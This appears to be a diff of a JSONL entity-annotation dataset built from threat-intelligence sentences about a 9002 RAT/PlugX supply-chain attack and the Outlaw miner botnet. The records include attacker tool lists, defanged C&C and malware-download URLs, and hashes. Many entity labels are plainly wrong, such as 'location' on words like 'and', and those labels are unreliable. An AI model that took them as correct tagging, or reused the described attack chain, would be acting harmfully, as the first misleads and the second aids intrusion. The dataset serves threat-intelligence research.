-{"id":9971,"text":"The malicious update.zip file is sent to the client when the remote support program is executed.","entities":[{"id":30445,"label":"location","start_offset":61,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":9972,"text":"The remote support program recognizes the update files as normal and executes the 9002 RAT malware inside it.","entities":[{"id":30446,"label":"location","start_offset":4,"end_offset":10},{"id":30447,"label":"location","start_offset":58,"end_offset":64},{"id":30448,"label":"location","start_offset":65,"end_offset":68},{"id":30449,"label":"malware","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":9973,"text":"9002 RAT downloads and executes additional malicious files from the attackers’ server.","entities":[{"id":30450,"label":"malware","start_offset":0,"end_offset":8},{"id":30451,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":9974,"text":" Technical analysis","entities":[],"relations":[],"Comments":[]}
-{"id":9975,"text":"The update.zip file contains an update.ini file, which has the malicious update configuration that specifies the remote support solution program to download file000.zip and file001.zip and extract them as rcview40u.dll and rcview.log to the installation folder.","entities":[{"id":30452,"label":"location","start_offset":113,"end_offset":119},{"id":30453,"label":"location","start_offset":169,"end_offset":172},{"id":30454,"label":"location","start_offset":185,"end_offset":188},{"id":30455,"label":"location","start_offset":197,"end_offset":201},{"id":30456,"label":"location","start_offset":219,"end_offset":222}],"relations":[],"Comments":[]}
-{"id":9976,"text":"The program will then execute rcview40u.dll, signed with the stolen certificate, with Microsoft register server (regsvr32.exe).","entities":[{"id":30457,"label":"location","start_offset":12,"end_offset":16},{"id":30459,"label":"location","start_offset":96,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":9977,"text":"This dynamic-link library (DLL) is responsible for decrypting the encrypted rcview.log file and executing it in memory.","entities":[{"id":30460,"label":"location","start_offset":18,"end_offset":25},{"id":30461,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":9978,"text":"9002 RAT is the decrypted rcview.log payload, which connects to the command-and-control (C&C) server at 66[.]42[.]37[.]101.  Figure 2. Contents of the malicious update configuration   Figure 3. How the compromised update process launches the 9002 RAT malware  Figure 4.","entities":[{"id":30462,"label":"tools","start_offset":0,"end_offset":8},{"id":30463,"label":"location","start_offset":76,"end_offset":79},{"id":30464,"label":"IPV4","start_offset":104,"end_offset":122},{"id":30467,"label":"malware","start_offset":242,"end_offset":250}],"relations":[],"Comments":[]}
 {"id":9979,"text":"Known 9002 RAT string pattern inside the decrypted payload of the rcview.log file Correlating 9002 RAT","entities":[{"id":30469,"label":"malware","start_offset":6,"end_offset":14},{"id":30470,"label":"malware","start_offset":94,"end_offset":102}],"relations":[],"Comments":[]}
 {"id":9980,"text":" Delving into 9002 RAT, we found that it was compiled on July 17, 2018, and that the configuration files inside update.zip were created on July 18.","entities":[{"id":30471,"label":"malware","start_offset":14,"end_offset":22},{"id":30473,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":9981,"text":"Our analysis of an update log file we found reveals the remote support program’s update process started around 13:35 on July 18, with the 9002 RAT being downloaded and launched.","entities":[{"id":30475,"label":"location","start_offset":56,"end_offset":62},{"id":30476,"label":"TIME","start_offset":104,"end_offset":127},{"id":30477,"label":"tools","start_offset":138,"end_offset":146},{"id":30478,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":9982,"text":"We also saw the RAT file used for this specific attack was set to be inactive in August, so we can construe that the RAT’s activity was rather short-lived (from July 18 to July 31).","entities":[{"id":30480,"label":"location","start_offset":95,"end_offset":98},{"id":30481,"label":"location","start_offset":143,"end_offset":148}],"relations":[],"Comments":[]}
 {"id":9983,"text":"   Figure 5. Compilation timestamp on 9002 RAT sample (top), timestamp of the malicious configuration (center), and snapshot of the program’s update log (bottom)","entities":[{"id":30484,"label":"malware","start_offset":38,"end_offset":46},{"id":30485,"label":"location","start_offset":47,"end_offset":53},{"id":30486,"label":"location","start_offset":103,"end_offset":109},{"id":30487,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
 {"id":9984,"text":" Figure 6. Code snippet showing 9002 RAT checking the system time and setting itself to sleep in August 2018 Additional malware tools","entities":[{"id":30489,"label":"tools","start_offset":32,"end_offset":40},{"id":30490,"label":"location","start_offset":61,"end_offset":65},{"id":30491,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":9985,"text":"The 9002 RAT also serves as a springboard for delivering additional malware.","entities":[],"relations":[],"Comments":[]}
-{"id":9986,"text":"Most of these are downloaded as files compressed with the Microsoft cabinet format (.cab).","entities":[{"id":30494,"label":"location","start_offset":0,"end_offset":4},{"id":30495,"label":"location","start_offset":14,"end_offset":17},{"id":30497,"label":"location","start_offset":68,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":9987,"text":"This is most likely done to avoid detection by antivirus (AV) solutions.","entities":[{"id":30498,"label":"location","start_offset":8,"end_offset":12},{"id":30499,"label":"location","start_offset":13,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":9988,"text":"Here’s a list of files that 9002 RAT retrieves and delivers to the affected system:","entities":[{"id":30500,"label":"location","start_offset":9,"end_offset":13},{"id":30502,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":9989,"text":" Filename Tool Purpose dsget.exe DsGet","entities":[{"id":30503,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":9990,"text":"View active directory objects dsquery.exe DsQuery","entities":[{"id":30504,"label":"location","start_offset":0,"end_offset":4},{"id":30505,"label":"malware","start_offset":30,"end_offset":41},{"id":30506,"label":"malware","start_offset":42,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":9991,"text":"Search for active directory objects sharphound.exe SharpHound","entities":[{"id":30507,"label":"malware","start_offset":51,"end_offset":61}],"relations":[],"Comments":[]}
 {"id":9992,"text":"Collect active directory information aio.exe","entities":[],"relations":[],"Comments":[]}
-{"id":9993,"text":"All In One (AIO)","entities":[{"id":30508,"label":"location","start_offset":7,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":9994,"text":"Publicly available hack tool ssms.exe SQL Password dumper","entities":[{"id":30509,"label":"location","start_offset":19,"end_offset":23},{"id":30510,"label":"location","start_offset":24,"end_offset":28}],"relations":[],"Comments":[]}
 {"id":9995,"text":"Dump password from SQL database printdat.dll RAT (PlugX variant)","entities":[{"id":30511,"label":"malware","start_offset":50,"end_offset":55}],"relations":[],"Comments":[]}
 {"id":9996,"text":"Remote access tool w.exe IIS 6 WebDav Exploit Tool Exploit tool for CVE-2017-7269 (IIS 6) Web.exe WebBrowserPassView Recover password stored by browser smb.exe Scanner","entities":[{"id":30512,"label":"location","start_offset":0,"end_offset":6},{"id":30513,"label":"location","start_offset":14,"end_offset":18},{"id":30514,"label":"location","start_offset":46,"end_offset":50},{"id":30515,"label":"location","start_offset":59,"end_offset":63},{"id":30516,"label":"malware","start_offset":98,"end_offset":116}],"relations":[],"Comments":[]}
 {"id":9997,"text":"Scans the system’s Windows version and computer name m.exe Custom Mimikatz (including 32bit \/ 64bit file)","entities":[{"id":30517,"label":"location","start_offset":35,"end_offset":38},{"id":30518,"label":"malware","start_offset":66,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":9998,"text":"Verify computer password and active directory credentials   Figure 7.","entities":[{"id":30519,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":9999,"text":"Downloaded Web.ex_ cabinet file (left) and decompressed Web.exe file (right) One of the downloaded files printdat.dll, which is another RAT.","entities":[{"id":30521,"label":"location","start_offset":19,"end_offset":26},{"id":30522,"label":"location","start_offset":39,"end_offset":42},{"id":30523,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":10000,"text":"It is a variant of PlugX malware, and connects to the same C&C server (66[.]42[.]37[.]101).  Figure 8.","entities":[{"id":30524,"label":"malware","start_offset":19,"end_offset":24},{"id":30525,"label":"location","start_offset":34,"end_offset":37},{"id":30526,"label":"location","start_offset":54,"end_offset":58},{"id":30527,"label":"IPV4","start_offset":71,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":10001,"text":"Internal PlugX date dword value inside the printdat.dll file Mitigating supply chain attacks","entities":[{"id":30529,"label":"malware","start_offset":9,"end_offset":14},{"id":30530,"label":"location","start_offset":15,"end_offset":19},{"id":30531,"label":"location","start_offset":72,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":10002,"text":"Supply chain attacks don’t just affect users and businesses — they exploit the trust between vendors and its clients or customers.","entities":[{"id":30532,"label":"location","start_offset":0,"end_offset":6},{"id":30533,"label":"identity","start_offset":27,"end_offset":31},{"id":30534,"label":"location","start_offset":45,"end_offset":48},{"id":30535,"label":"location","start_offset":79,"end_offset":84},{"id":30536,"label":"location","start_offset":85,"end_offset":92},{"id":30537,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":10003,"text":"By trojanizing software\/applications or manipulating the infrastructures or platforms that run them, supply chain attacks affects the integrity and security of the goods and services that organizations provide.","entities":[{"id":30538,"label":"location","start_offset":95,"end_offset":99},{"id":30539,"label":"location","start_offset":101,"end_offset":107},{"id":30540,"label":"location","start_offset":144,"end_offset":147},{"id":30541,"label":"location","start_offset":148,"end_offset":156},{"id":30542,"label":"location","start_offset":170,"end_offset":173}],"relations":[],"Comments":[]}
-{"id":10004,"text":"In healthcare, for instance, where the industry heavily relies on third-party and cloud-based services, supply chain attacks can risk the privacy of personally identifiable data and intellectual property, disrupt hospital operations, and even endanger patient health.","entities":[{"id":30543,"label":"location","start_offset":39,"end_offset":47},{"id":30544,"label":"location","start_offset":78,"end_offset":81},{"id":30545,"label":"location","start_offset":82,"end_offset":87},{"id":30546,"label":"location","start_offset":104,"end_offset":110},{"id":30547,"label":"location","start_offset":125,"end_offset":128},{"id":30548,"label":"location","start_offset":178,"end_offset":181},{"id":30549,"label":"location","start_offset":213,"end_offset":221},{"id":30550,"label":"location","start_offset":234,"end_offset":237}],"relations":[],"Comments":[]}
-{"id":10005,"text":"And when stacked up with regulations such as the EU General Data Protection and Regulation (GDPR), the impact can be exacerbated.","entities":[{"id":30551,"label":"location","start_offset":0,"end_offset":3},{"id":30553,"label":"location","start_offset":103,"end_offset":109},{"id":30554,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":10006,"text":"Here are some best practices:  Oversee third-party products and services; apart from ensuring the security of the organization’s own online premises (e.g., patching, authentication mechanisms), security controls must also be in place in third-party applications being used.","entities":[{"id":30555,"label":"location","start_offset":5,"end_offset":8},{"id":30556,"label":"location","start_offset":14,"end_offset":18},{"id":30557,"label":"location","start_offset":60,"end_offset":63},{"id":30558,"label":"location","start_offset":98,"end_offset":106},{"id":30559,"label":"location","start_offset":194,"end_offset":202}],"relations":[],"Comments":[]}
-{"id":10007,"text":"Develop a proactive incident response strategy: Supply chain attacks are often targeted; organizations must be able to fully understand, manage, and monitor the risks involved in third-party vendors.","entities":[{"id":30560,"label":"location","start_offset":48,"end_offset":54},{"id":30561,"label":"location","start_offset":69,"end_offset":72},{"id":30562,"label":"location","start_offset":137,"end_offset":143},{"id":30563,"label":"location","start_offset":145,"end_offset":148},{"id":30564,"label":"location","start_offset":149,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":10008,"text":"Proactively monitor the network for anomalous activities; firewalls and intrusion detection and prevention systems help mitigate network-based threats.","entities":[{"id":30565,"label":"location","start_offset":12,"end_offset":19},{"id":30566,"label":"location","start_offset":68,"end_offset":71},{"id":30567,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":10009,"text":"Enforce the principle of least privilege: Network segmentation, data categorization, restriction of system administration tools, and application control help deter lateral movement and minimize data being exposed.  Trend Micro Solutions","entities":[{"id":30568,"label":"location","start_offset":129,"end_offset":132},{"id":30569,"label":"location","start_offset":181,"end_offset":184}],"relations":[],"Comments":[]}
-{"id":10010,"text":"The Trend Micro™ Deep Discovery™ solution provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real time.","entities":[{"id":30571,"label":"location","start_offset":10,"end_offset":15},{"id":30572,"label":"location","start_offset":81,"end_offset":84},{"id":30574,"label":"location","start_offset":132,"end_offset":135},{"id":30575,"label":"location","start_offset":156,"end_offset":160},{"id":30576,"label":"location","start_offset":161,"end_offset":165}],"relations":[],"Comments":[]}
-{"id":10011,"text":"It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack life cycle, allowing it to detect threats even without any engine or pattern update.","entities":[{"id":30577,"label":"location","start_offset":95,"end_offset":98},{"id":30578,"label":"location","start_offset":164,"end_offset":167},{"id":30579,"label":"location","start_offset":219,"end_offset":224}],"relations":[],"Comments":[]}
-{"id":10012,"text":"Trend Micro endpoint solutions such as the Smart Protection Suites and Worry-Free Business Security solutions can protect users and businesses from threats by detecting malicious files and blocking all related malicious URLs.","entities":[{"id":30582,"label":"location","start_offset":67,"end_offset":70},{"id":30583,"label":"location","start_offset":91,"end_offset":99},{"id":30584,"label":"location","start_offset":110,"end_offset":113},{"id":30585,"label":"location","start_offset":128,"end_offset":131},{"id":30586,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
 {"id":10013,"text":"Indicators of Compromise (IoCs): Related hashes (SHA-256):  0703a917aaa0630ae1860fb5fb1f64f3cfb4ea8c57eac71c2b0a407b738c4e19 (ShiftDoor) — detected by Trend Micro as BKDR_SETHC.D c14ea9b81f782ba36ae3ea450c2850642983814a0f4dc0ea4888038466839c1e (aio.exe)","entities":[{"id":30587,"label":"SHA2","start_offset":60,"end_offset":124},{"id":30589,"label":"MD5","start_offset":179,"end_offset":243}],"relations":[],"Comments":[]}
 {"id":10014,"text":"HKTL_DELOG a3a1b1cf29a8f38d05b4292524c3496cb28f78d995dfb0a9aef7b2f949ac278b","entities":[{"id":30590,"label":"MD5","start_offset":11,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":10015,"text":"(m.exe)","entities":[],"relations":[],"Comments":[]}
@@ -10025,92 +7426,46 @@
 {"id":10025,"text":" hxxp:\/\/207[.]148[.]94[.]157\/update\/rcv50\/update.zip hxxp:\/\/207[.]148[.]94[.]157\/update\/rcv50\/file000.zip hxxp:\/\/207[.]148[.]94[.]157\/update\/rcv50\/file001.zip  URLs related to additionally downloaded malicious files:","entities":[],"relations":[],"Comments":[]}
 {"id":10026,"text":" hxxp:\/\/207[.]148[.]94[.]157\/aio.exe hxxp:\/\/207[.]148[.]94[.]157\/smb.exe hxxp:\/\/207[.]148[.]94[.]157\/m.ex_ hxxp:\/\/207[.]148[.]94[.]157\/w hxxp:\/\/207[.]148[.]94[.]157\/Web.ex_","entities":[],"relations":[],"Comments":[]}
 {"id":10027,"text":" Related C&C server (9002 RAT and PlugX variant):  66[.]42[.]37[.]101          Tags  Network | APT & Targeted Attacks | Research","entities":[{"id":30598,"label":"tools","start_offset":21,"end_offset":29},{"id":30599,"label":"location","start_offset":30,"end_offset":33},{"id":30600,"label":"malware","start_offset":34,"end_offset":39},{"id":30601,"label":"IPV4","start_offset":51,"end_offset":69},{"id":30602,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":10028,"text":"One of our honeypots detected a URL spreading a botnet with a Monero miner bundled with a Perl-based backdoor component.","entities":[{"id":30605,"label":"location","start_offset":69,"end_offset":74},{"id":30606,"label":"location","start_offset":90,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":10029,"text":"The routine caught our attention as the techniques employed are almost the same as those used in the Outlaw hacking group’s previous operation.","entities":[{"id":30607,"label":"location","start_offset":60,"end_offset":63},{"id":30608,"label":"location","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":10030,"text":"During our analysis, we also observed the use of an executable Secure Shell (SSH) backdoor, and noted that the components are now installed as a service to provide persistence to the malware.","entities":[{"id":30610,"label":"location","start_offset":70,"end_offset":75},{"id":30611,"label":"location","start_offset":92,"end_offset":95},{"id":30612,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":10031,"text":"The Perl-based backdoor component is also capable of launching distributed denial-of-service (DDoS) attacks, allowing the cybercriminals to monetize their botnet through cryptocurrency mining and by offering DDoS-for-hire services.","entities":[{"id":30613,"label":"location","start_offset":4,"end_offset":8},{"id":30614,"label":"location","start_offset":192,"end_offset":195}],"relations":[],"Comments":[]}
-{"id":10032,"text":"However, we think that the cybercriminals behind this threat may still be in the testing and development phase, based on the shell script components that were included in the TAR file but left unexecuted.","entities":[{"id":30615,"label":"location","start_offset":61,"end_offset":64},{"id":30616,"label":"location","start_offset":89,"end_offset":92},{"id":30617,"label":"location","start_offset":125,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":10033,"text":"As of this writing, our telemetry has detected infection attempts in China.","entities":[],"relations":[],"Comments":[]}
 {"id":10034,"text":"Routine","entities":[],"relations":[],"Comments":[]}
-{"id":10035,"text":"Our data shows that the malware gains access to the system with brute-force attacks via SSH and executes two possible command files.","entities":[{"id":30619,"label":"location","start_offset":70,"end_offset":75},{"id":30620,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":10036,"text":"Components of the file and routine appear similar to those of a published entry, while our sample executed .x15cache, the bash script that downloads the malware.  Figure 1. Targeted machine using brute force via SSH The shell script downloads, extracts, and executes the miner payload.","entities":[{"id":30622,"label":"location","start_offset":23,"end_offset":26},{"id":30623,"label":"location","start_offset":91,"end_offset":97},{"id":30625,"label":"attack-pattern","start_offset":196,"end_offset":207},{"id":30626,"label":"location","start_offset":220,"end_offset":225},{"id":30627,"label":"location","start_offset":254,"end_offset":257},{"id":30628,"label":"location","start_offset":271,"end_offset":276}],"relations":[],"Comments":[]}
-{"id":10037,"text":"The extracted TAR file contains folders with scripts and the miner and backdoor components.","entities":[{"id":30629,"label":"location","start_offset":53,"end_offset":56},{"id":30630,"label":"location","start_offset":61,"end_offset":66},{"id":30631,"label":"location","start_offset":67,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":10038,"text":" Figure 2. Extracting the miner payload and backdoor component  Figure 3.","entities":[{"id":30633,"label":"location","start_offset":26,"end_offset":31},{"id":30634,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":10039,"text":"File tree of the extracted TAR file Folder a","entities":[],"relations":[],"Comments":[]}
 {"id":10040,"text":"contains the cron and anacron binaries, which are the cryptocurrency miners used by the malware.","entities":[{"id":30636,"label":"threat-actor","start_offset":13,"end_offset":17},{"id":30637,"label":"location","start_offset":18,"end_offset":21},{"id":30638,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":10041,"text":"The other files are shell scripts responsible for the execution of the miner components, cleaning, and deletion of competing miners installed in the system.","entities":[{"id":30639,"label":"location","start_offset":16,"end_offset":19},{"id":30640,"label":"location","start_offset":20,"end_offset":25},{"id":30641,"label":"location","start_offset":71,"end_offset":76},{"id":30642,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":10042,"text":"Folder b contains the backdoor components and shell scripts for running and stopping them.","entities":[{"id":30643,"label":"location","start_offset":42,"end_offset":45},{"id":30644,"label":"location","start_offset":46,"end_offset":51},{"id":30645,"label":"location","start_offset":72,"end_offset":75},{"id":30646,"label":"location","start_offset":85,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":10043,"text":"One of the files, rsync, is an initially obfuscated Perl-based Shellbot capable of multiple backdoor commands such as file downloading, shell cmd execution, and DDoS.  Figure 4. Obfuscated Perl script  Figure 5.","entities":[{"id":30647,"label":"location","start_offset":0,"end_offset":3},{"id":30648,"label":"location","start_offset":52,"end_offset":56},{"id":30649,"label":"location","start_offset":136,"end_offset":141},{"id":30650,"label":"malware","start_offset":142,"end_offset":145},{"id":30651,"label":"location","start_offset":157,"end_offset":160},{"id":30653,"label":"location","start_offset":189,"end_offset":193}],"relations":[],"Comments":[]}
 {"id":10044,"text":"Code snippet of unobfuscated rsync","entities":[],"relations":[],"Comments":[]}
 {"id":10045,"text":"Another file, ps, is a Linux executable that serves as an SSH backdoor.","entities":[],"relations":[],"Comments":[]}
 {"id":10046,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
 {"id":10047,"text":"SSH backdoor","entities":[],"relations":[],"Comments":[]}
 {"id":10048,"text":"The file tree initially showed folder c from dota2[.]tar[.]gz file to be empty.","entities":[],"relations":[],"Comments":[]}
-{"id":10049,"text":"It also contains several binaries and shell scripts, but only a few of those execute during the infection.","entities":[{"id":30656,"label":"location","start_offset":34,"end_offset":37},{"id":30657,"label":"location","start_offset":38,"end_offset":43},{"id":30658,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":10050,"text":"From our honeypot sample, this may be an indication of the campaign’s being in the testing or development phase.","entities":[{"id":30659,"label":"location","start_offset":18,"end_offset":24},{"id":30660,"label":"location","start_offset":31,"end_offset":34},{"id":30661,"label":"location","start_offset":59,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":10051,"text":"We think that future iterations of this threat will use the unused files.","entities":[{"id":30662,"label":"location","start_offset":47,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":10052,"text":"However, looking around the related URLs ps tries to connect to, we found mage[.]ignorelist[.]com containing a compressed file, dota[.]tar[.]gz.","entities":[],"relations":[],"Comments":[]}
-{"id":10053,"text":"It contains the same file folders a and b as the TAR file downloaded by .x15cache, while folder c now contains the files tsm32 and tsm64, along with other executables and components.","entities":[{"id":30663,"label":"location","start_offset":16,"end_offset":20},{"id":30664,"label":"location","start_offset":36,"end_offset":39},{"id":30665,"label":"location","start_offset":127,"end_offset":130},{"id":30666,"label":"location","start_offset":138,"end_offset":143},{"id":30667,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
 {"id":10054,"text":" Figure 7. Folder c","entities":[],"relations":[],"Comments":[]}
 {"id":10055,"text":"The files tsm32 and tsm64 appear to be scanners responsible for propagating the miner and backdoor via SSH brute force, and capable of sending remote commands to download and execute the malware.","entities":[{"id":30669,"label":"location","start_offset":16,"end_offset":19},{"id":30670,"label":"location","start_offset":80,"end_offset":85},{"id":30671,"label":"location","start_offset":86,"end_offset":89},{"id":30672,"label":"attack-pattern","start_offset":107,"end_offset":118},{"id":30673,"label":"location","start_offset":120,"end_offset":123},{"id":30674,"label":"location","start_offset":143,"end_offset":149},{"id":30675,"label":"location","start_offset":171,"end_offset":174}],"relations":[],"Comments":[]}
 {"id":10056,"text":" Figure 8. tsm32  Figure 9.","entities":[],"relations":[],"Comments":[]}
-{"id":10057,"text":"Remote commands sent by tsm32","entities":[{"id":30678,"label":"location","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
-{"id":10058,"text":"The file, .satan is a shell script that installs the backdoor malware as a service.","entities":[{"id":30679,"label":"location","start_offset":22,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":10059,"text":"In Linux, files that start with a period are hidden.","entities":[{"id":30680,"label":"location","start_offset":21,"end_offset":26},{"id":30681,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":10060,"text":" Figure 10. .satan file Conclusion","entities":[],"relations":[],"Comments":[]}
-{"id":10061,"text":"When we initially uncovered the operation of Outlaw in 2018, we noted how quickly it went from the testing and development phase to compromising more than 200,000 hosts around the world, including mobile devices.","entities":[{"id":30685,"label":"location","start_offset":107,"end_offset":110},{"id":30687,"label":"location","start_offset":180,"end_offset":185},{"id":30688,"label":"location","start_offset":197,"end_offset":203}],"relations":[],"Comments":[]}
-{"id":10062,"text":"In this case, we were able to get samples indicating an attack in its early phase.","entities":[{"id":30689,"label":"location","start_offset":8,"end_offset":12},{"id":30690,"label":"location","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":10063,"text":"Initially compromising and infecting systems enables it to widen its reconnaissance and scanning capabilities for more open ports on specific IP addresses, report to the command-and-control (C&C) server, and launch DDoS attacks like User Datagram Protocol (UDP) floods.","entities":[{"id":30691,"label":"location","start_offset":23,"end_offset":26},{"id":30692,"label":"location","start_offset":59,"end_offset":64},{"id":30693,"label":"location","start_offset":84,"end_offset":87},{"id":30694,"label":"location","start_offset":178,"end_offset":181},{"id":30695,"label":"location","start_offset":204,"end_offset":207}],"relations":[],"Comments":[]}
-{"id":10064,"text":"Also, the techniques employed here are common and widely known to be exchanged in the underground.","entities":[{"id":30696,"label":"location","start_offset":35,"end_offset":38},{"id":30697,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":10065,"text":"Outlaw has made a name for itself by combining malicious cryptocurrency miners with a Perl-based backdoor able to turn its victim machines into a botnet in one DDoS-for-hire service.","entities":[{"id":30699,"label":"location","start_offset":11,"end_offset":15},{"id":30700,"label":"location","start_offset":86,"end_offset":90},{"id":30701,"label":"location","start_offset":156,"end_offset":159}],"relations":[],"Comments":[]}
-{"id":10066,"text":"Given that Perl is installed in the machine, the use of Perl programming language for its backdoor ensures the malware flexibility to execute in both Linux- and Windows-based systems.","entities":[{"id":30702,"label":"location","start_offset":0,"end_offset":5},{"id":30705,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":10067,"text":"And should the group decide to sell the code, the maintenance of the code would be easier to the buyer for more possible uses, adjustments, and execution.","entities":[{"id":30706,"label":"location","start_offset":0,"end_offset":3},{"id":30707,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]}
 {"id":10068,"text":"We also noticed the presence of an APK file hosted in one of the servers, suggesting that if the cybercriminals decide to go further than just infecting servers, they may decide to attack Android-based devices.","entities":[{"id":30709,"label":"identity","start_offset":138,"end_offset":142},{"id":30710,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
-{"id":10069,"text":"Users are advised to close unused ports and to secure ports that are regularly open for system administrators’ support.","entities":[{"id":30711,"label":"location","start_offset":6,"end_offset":9},{"id":30712,"label":"location","start_offset":40,"end_offset":43},{"id":30713,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":10070,"text":"Users can also adopt a multilayered security solution that can protect systems from the gateway to the endpoint, actively blocking malicious URLs by employing filtering, behavioral analysis, and custom sandboxing.","entities":[{"id":30714,"label":"location","start_offset":6,"end_offset":9},{"id":30715,"label":"location","start_offset":36,"end_offset":44},{"id":30716,"label":"location","start_offset":59,"end_offset":62},{"id":30717,"label":"location","start_offset":88,"end_offset":95},{"id":30718,"label":"location","start_offset":191,"end_offset":194}],"relations":[],"Comments":[]}
 {"id":10071,"text":"Trend Micro Solutions Customers of the Trend Micro™ TippingPoint™ solution are protected from this threat via these MainlineDV filters:  2573: MINER - TCP (Request)    Indicators of Compromise (IoCs)  File name SHA256 Detection rsync 0d71a39bbd666b5898c7121be63310e9fbc15ba16ad388011f38676a14e27809 Backdoor.Perl.SHELLBOT.AB ps bb1c41a8b9df7535e66cf5be695e2d14e97096c4ddb2281ede49b5264de2df59 Backdoor.Linux.SSHDOOR.AB cron 4efec3c7b33fd857bf8ef38e767ac203167d842fdecbeee29e30e044f7c6e33d Coinminer.Linux.MALXMR.UWEJN anacron 66b79ebfe61b5baa5ed4effb2f459a865076acf889747dc82058ee24233411e2 tsm32 0191cf8ce2fbee0a69211826852338ff0ede2b5c65ae10a2b05dd34f675e3bae Trojan.Linux.SSHBRUTE.A tsm64 085d864f7f06f8f2eb840b32bdac7a9544153281ea563ef92623f3d0d6810e87   URLs • 146[.]185[.]171[.]227:443   • C&C for Backdoor.Perl.SHELLBOT.AB - 5[.]255[.]86[.]129:3333   • C&C for Backdoor.Linux.SSHDOOR.AB - 54[.]37[.]70[.]249\/.satan  • 54[.]37[.]70[.]249\/rp  • hxxp:\/\/54[.]37[.]70[.]249\/.x15cache  • hxxp:\/\/54[.]37[.]70[.]249\/dota2.tar.gz  • hxxp:\/\/54[.]37[.]70[.]249\/fiatlux-1.0.0.apk   • APK file hosted on this server - hxxp:\/\/mage[.]ignorelist[.]com\/dota.tar.gz  • mage[.]ignorelist[.]com  • zergbase[.]mooo[.]com         Tags  Malware | APT & Targeted Attacks | Endpoints | Research","entities":[{"id":30720,"label":"location","start_offset":45,"end_offset":50},{"id":30721,"label":"location","start_offset":75,"end_offset":78},{"id":30722,"label":"location","start_offset":137,"end_offset":141},{"id":30723,"label":"location","start_offset":143,"end_offset":148},{"id":30724,"label":"SHA2","start_offset":234,"end_offset":298},{"id":30725,"label":"location","start_offset":308,"end_offset":312},{"id":30726,"label":"SHA2","start_offset":328,"end_offset":392},{"id":30727,"label":"threat-actor","start_offset":419,"end_offset":423},{"id":30728,"label":"SHA1","start_offset":424,"end_offset":488},{"id":30729,"label":"malware","start_offset":489,"end_offset":498},{"id":30730,"label":"SHA1","start_offset":526,"end_offset":590},{"id":30731,"label":"SHA1","start_offset":597,"end_offset":661},{"id":30732,"label":"MD5","start_offset":692,"end_offset":756},{"id":30733,"label":"location","start_offset":813,"end_offset":817},{"id":30734,"label":"IPV4","start_offset":925,"end_offset":943},{"id":30735,"label":"location","start_offset":1231,"end_offset":1234}],"relations":[],"Comments":[]}
 {"id":10072,"text":"Update on 12\/29\/2020 2:40 PM PST:","entities":[],"relations":[],"Comments":[]}
 {"id":10073,"text":"Information on Supernova added Update on 1\/22\/2021 4:56 PM PST:","entities":[{"id":30739,"label":"TIME","start_offset":51,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":10074,"text":"Trend Micro's Zero-Day Initiative (ZDI) provided technical analysis of recently patched vulnerabilities in the SolarWinds Orion Platform.","entities":[],"relations":[],"Comments":[]}
